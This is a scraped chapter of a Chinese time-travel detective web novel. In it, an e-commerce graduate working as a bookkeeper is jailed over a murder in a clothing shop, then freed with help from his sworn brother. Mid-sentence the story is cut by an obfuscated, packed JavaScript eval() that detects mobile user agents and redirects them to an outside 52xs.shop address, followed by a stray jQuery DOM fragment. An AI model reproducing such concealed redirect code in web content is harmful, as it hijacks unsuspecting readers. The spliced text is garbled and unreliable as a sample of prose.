羊轩色大学专业是电子商务,这个名字看起来高大上,其实就是学怎么赛博卖货的,必修课大头是计算机,其次就是金融会计审计,看自己想怎么选了。
穿越古代后,羊轩色从来没那么庆幸过,他在必修的选修里选了审计跟会计,没选金融,不然他来到古代大概只会给老板写一堆看不懂还忽悠不了人的报告。
学的时候羊轩色刚好把会计老师讲的从古至今各种记账方式都背下来了,国内的记账方式更改过很多次,最后保留下来的是借贷记账法,他稍微露一手,老板就惊喜地把他留下了。
点心铺子叫甘林坊,也卖果脯果干糖果,羊轩色在记账之余,给掌柜的做了几个油纸小兜,很是惊讶,随后甘林坊里卖出去的东西都用那个很可爱的油纸兜子装,成了非常标志性的东西。
羊轩色看效果不错,就随便设计了个商标,让掌柜的请人刻成印章,再裁剪一些纸条,每一包卖出去的点心,最后都用盖着商标的纸条封口,以示干净、无遗漏、无偷减、无破损。
掌柜的觉得羊轩色简直是天才,一时间甘林坊的袋子就成了风尚,其他家争相模仿,虽说有竞争肯定会导致客流量下滑,但这种本来就是个噱头,最后东西好吃才是硬道理。
不过无论模仿的人有多少,最后大家只会记得最先广泛出现的,是甘林坊。
羊轩色一直觉得自己也算是靠真本事吃上饭了,没想到,就是这一个袋子,让他又进了监狱,问题是,他被抓的时候,根本不知道什么情况。
那天羊轩色就是正常在店里账房算账,他不会用算盘,都是自己笔算,官兵冲进来的时候,桌上一堆别人看不懂的纸,于是所有的东西都被当做证据带走,他也被推着关进了京兆府牢房。
一般人进被怀疑后进一轮府衙肯定被殴打一顿,但羊轩色家中的太子府门客契约被翻出来了,京兆京兆尹多少得给太子面子,所以这个案子在还没抓到羊轩色时,就已经通报了太子。
这一套流程羊轩色熟悉得不行,回牢房跟回自己家一样,就是京兆府的牢房稍微比大理寺的还小一点。
不知道等了多久,羊轩色看见太子带着乐九下来了,他们长得高,在牢里都站不直,弯着腰的。
羊轩色看了眼,无奈道:“你们干嘛下来?直接提我出去审问,大家都能站得舒服点。”
太子半蹲下来,没回答他,反而问:“这就是你说的志不在此?你该不会是志向一辈子吃牢饭吧?”
“……我只是稍微倒霉了点,跟我志向没关系,我志向是回家种地卖水果。”羊轩色认真地回答。
最近关于羊轩色的事情太子其实都知道,所以也没管他,没想到不到三个月,居然又把自己玩进牢里了,说实话,过了三个月,太子多少也对羊轩色这个人重新评估了一下。
之前是觉得羊轩色这人半聪明半不聪明的,为人也贪心谄媚,打一巴掌给一甜枣的做法就能让他像乐九他们一样为自己所用。
可是羊轩色离开了太子府后并没有按照曾经在太子前面的样子生活,他很老实地带着那点钱,去租了个房子,每天在甘林坊算账就是他的全部生活了,买件新衣服会很开心、吃到好吃的点心会很开心、捡到集市里的水果也能很开心。
没有谄媚,也没有贪心,像个无聊的普通人。
太子大失所望,羊轩色身上有用的,大概就是从家乡带来的认知,不过都是些小聪明,并不能为太子所用,便逐渐对羊轩色失去兴趣。
管理一个国家只有小聪明是不够的,再花里胡哨的小发明,也不会让百姓过得更好、疆土更广阔、国库更富裕,所以太子才觉得羊轩色失去了一开始惊艳的色彩。
如今羊轩色被关进来,太子只是出于流程来询问一遍,新出的案子并不严重,之前的货郎案上头几家争斗快出结果了,估计要打一批人下去,这种关头他也没什么空来管一些小案子。
太子简单地告知:“以你的本事,想脱罪很容易,所以本宫告诉你已知的线索,三天前你去的布店二楼死了个女子,身份是长和县县丞的远房表妹,她死亡的现场里只有你的专属荷包,所以你被当做嫌疑人扣押了。”
羊轩色听完,愣住:“没了?”
“没了,这案子本就归京兆府管理,他们有确认罪行后直接斩首的资格,若不是发现了你签的契约,不会报到本宫这里。”太子说完就起身,带着乐九离开了,一如之前的绝情。
走出牢狱,京兆尹早已等候在门口,恭敬地行礼,装模作样地问:“殿下,可询问出此人是否您府上门客?”
如果说是,那羊轩色必然无罪,若不是,就可以说他冒充太子府门人,罪加一等。
太子瞥了他一眼:“就算是,也要秉公处理。”
肥胖的京兆尹立马把腰弯得更低:“下官明白,律法为上,自是要秉公处理!”
随后太子就离开了,牢狱深处的羊轩色姿势扭曲地坐在脏兮兮的地牢里,还在想这个事情是怎么回事。
三天前他确实去了之前去过的一家布店购买成衣,那家店还算小有名气,羊轩色手里有工资,怕去小的店买到不好的,自己也不会看,大的店可以避免很多问题。
那天他一共试了五套衣服,买下两套,二楼是成衣区,还有试衣间,分男女房。
羊轩色当晚买完衣服就发现自己掉了一包带回家吃的点心,每天甘林坊都有剩余,员工们可以选自己喜欢的带回家,他那天想着去布店可能赶不上宵禁前吃饭,就带了几块点心当晚饭。
纸袋子没有提手不好拿,羊轩色就把纸袋塞进了自己的荷包里,说是荷包,其实有点大,像现代的手提包,他第一次买衣服的时候送的,丢了也不可惜,加上刚好到算账的周期了,他忙起来,想着丢就丢了,回头再买一个也行。
荷包应该放在他换衣服的男试衣间,二楼死的是县丞表妹,那表妹上二楼就是看成衣的,应该死于女试衣间,为什么现场会有他的荷包?
说得极端点,表妹死于男试衣间,那他为什么要在杀人之后留下一个自己的荷包当证物?生怕自己不被抓到?
太子走了没多久,羊轩色就被提审了,他被捕快抓到了公堂上,按着跪下,上面的京兆尹啪一下就砸惊堂木,吓了羊轩色一跳。
“堂下羊轩色,你可认罪?”京兆尹唱诗一般念出来。
羊轩色不知道太子有没有跟他打过什么招呼,反正他问心无愧:“草民无罪,请大人明察。”
京兆尹脸上的肥肉一抖,眼睛更小了:“无罪?既然无罪,为何现场有你的荷包?看来不动真格你是不会说真话了,来人啊——”
听他这意思,是要上刑,羊轩色一愣,赶忙说:“大人,你问都不问就给我降罪,是想找替罪羔羊直接了结案子吗?”
“咆哮公堂,罪加一等,打——”京兆尹根本不听,直接把令牌扔到羊轩色面前。
捕快立马冲上来,用棍子扣住羊轩色的双手,压低他的脊骨,二话不说就要把他抬出去进行笞杖。
羊轩色惊慌失措,却挣扎不动,此刻他陷入了绝望,感觉得到,太子的PUA大法确实快成功了,只要他开口,就会有人来帮忙制止,可是,他偏不想开这个口,大不了,死在这,回现代去。
这么一想,羊轩色狠狠闭上了眼,下一秒,有人喊了住手,羊轩色睁开眼,却发现是自己完全不认识的人。
“大理寺办案,奉大理寺少卿命,平反冤情。”来人举着大理寺的牌子,带了不少人。
京兆府跟大理寺其实互相不干涉,属于不同的司法机构,但从审理等级来说,还是大理寺高一点,更何况太子也默认了羊轩色是门客,只是太子更想要真相,京兆尹才打算先动刑。
没想到大理寺少卿又来掺一脚,京兆尹略一思索,怀疑是不该动刑,而是要好好审理,他顿时汗就下来了。
如今大理寺谁都知道是在太子的麾下,让大理寺不痛快,就是太子不痛快,更可怕的是,京兆尹好像会错了太子的意思!
京兆尹一边擦汗一边走下来,他赔着笑说:“此案没有冤情呀,只是案情尚未明朗,若大理寺有心帮忙破案,那肯定以大理寺为先。”
来人收好令牌,也不多废话,直接让人把羊轩色给提走了,这次,羊轩色是真的回了快乐老家——大理寺狱,三个月不到,这大理寺又修好了。
羊轩色惊魂未定,更不明白为什么自己又转回大理寺了,直到他又在监狱里见到了白骆。
“大哥……”羊轩色跑过去在门边蹲下,十分委屈。
白骆也跟着蹲下,四下看了看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286325|150260||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“嘘——小声点,这次的事不严重,但是那京兆尹为人好大喜功,我怕你被屈打成招,就求了少卿把你的案子要过来,太子不管这件事,所以只要能破案就行。”
羊轩色愣住:“是……大哥你去求的大理寺少卿?”
“大理寺两位少卿,其中一位是你嫂子的同宗堂叔,所以……你懂的,案子既然转到大理寺了,你就放心吧,肯定能查得水落石出。”白骆拍着羊轩色的肩膀安慰。
如今羊轩色可不信什么水落石出,皇城脚下权利倾扎,根本没什么水落石出。
倒是白骆的一片心意让羊轩色不安:“可是,大哥你怎么知道我被抓了?我才被抓了不到一天啊,而且这会不会太浪费了,人情关系用一次少一次……”
关于这个,白骆一拍手掌:“哎呀,这个多亏了你邻居家大婶,她看见有人搜查你的房子,赶紧让儿子来告诉我,我打听到出了事,就去想办法捞你,大哥肯定相信你,但你不能在京兆府里受罪,大理寺好歹算自家人,你是我兄弟,我捞你很正常,没有什么浪费的,活着最重要!”
羊轩色感动得不行,他来古代三个月,遇见最好的一家人就是白骆了,他什么都不懂,这几个月其实都是白骆在帮衬,他哽咽道:“大哥……真的谢谢你……”
白骆捶了一下羊轩色的手臂:“别说谢不谢的,你在这人生地不熟,我拿你当兄弟,你就别见外,你要是真有什么线索就直说,好赶紧离开这破地方。”
听完,羊轩色闷声点头:“嗯,我知道的大哥,我想想……对了,大哥你说,嫂子的同宗堂叔是大理寺少卿?皇城里的关系,这么错综复杂的吗?”
“当然,不过也有考进来的普通人,算不上错综复杂,只是家族存续多年,姻亲关系数不胜数,多多少少,都沾亲带故,实在没关系,还可以攀亲戚啊,同一个姓氏,怎么都攀得到。”白骆各种用眼神暗示。
说直白点就是出门在外,身份是自己给的,祖上有什么名人,点一遍,自己就是贵族之后了,士族世家时代,有个姓氏,旁人就会多给几分薄面。
羊轩色恍然大悟,旋即令他想起这件案子,死者是县丞的远房表妹,县丞的身份肯定要比狱卒高,他的表妹或许也不是什么普通人。
更何况,案子尽管发生在皇城,但布店不在皇城坊市范围内,羊轩色住在城外白家庄,他怕路远才在皇城坊市外找到了甘林坊上班,从地理位置上来说,甘林坊和布店这两个皇城边缘的店都可以划给长和县管理。
加上县丞的关系,这个案子其实应该由长和县县令审理,分到京兆府倒也没错,毕竟京兆府是当地最高行政执行机关,可说不通。
县丞死了亲人急于找凶手,应该直接就地审理,挪到京兆府有点多此一举。
这就好像在县里死了家人不去派出所报警而是跑到省会公安局求审理一样,有种“可以但没必要”的滑稽感。
羊轩色若有所思:“大哥,这事我不太清楚,因为我就是去买了两身衣服,洗脱嫌疑也简单,去查城门落锁时间、我到家的时间和死者死亡具体时间就好了,她死的时候我早到家了,时间对不上。”
其实想洗脱嫌疑是很简单的,太子估计也是知道了其中的问题,觉得羊轩色不至于受牢狱之灾,可谁想到,京兆尹上来就动手,差点被抓过去顶罪了,得亏白骆机灵提前找了关系。
白骆记住羊轩色提到的线索,直接去托关系办了,无论何时都是这样,托关系,才能快一点,比插队都快。
可就算是这样,也拖了整整三天才把案情线索卷宗等等问题给处理好,且洗清了嫌疑。
白骆接羊轩色出狱那天,忽然听其他狱卒议论,说是胭脂店又死了一位女子,这次的案子直接转刑部了。
此时,羊轩色刚拿到手自己被搜家收缴的东西,白骆让他清点是否有遗漏。
羊轩色默默地放下包裹:“哥,要不我在牢里多住几天吧?这里又安全又多人才,说话又好听,我超喜欢这里的!”
他怕自己一出去又背锅,下次还得进来,大理寺又不是什么很随便的地方,允许他进进出出。
白骆欲言又止,不等他安慰一下羊轩色,门口那边忽然传来声音:“羊公子,太子殿下有请,您答应过的,只要有需要,您一定同意。”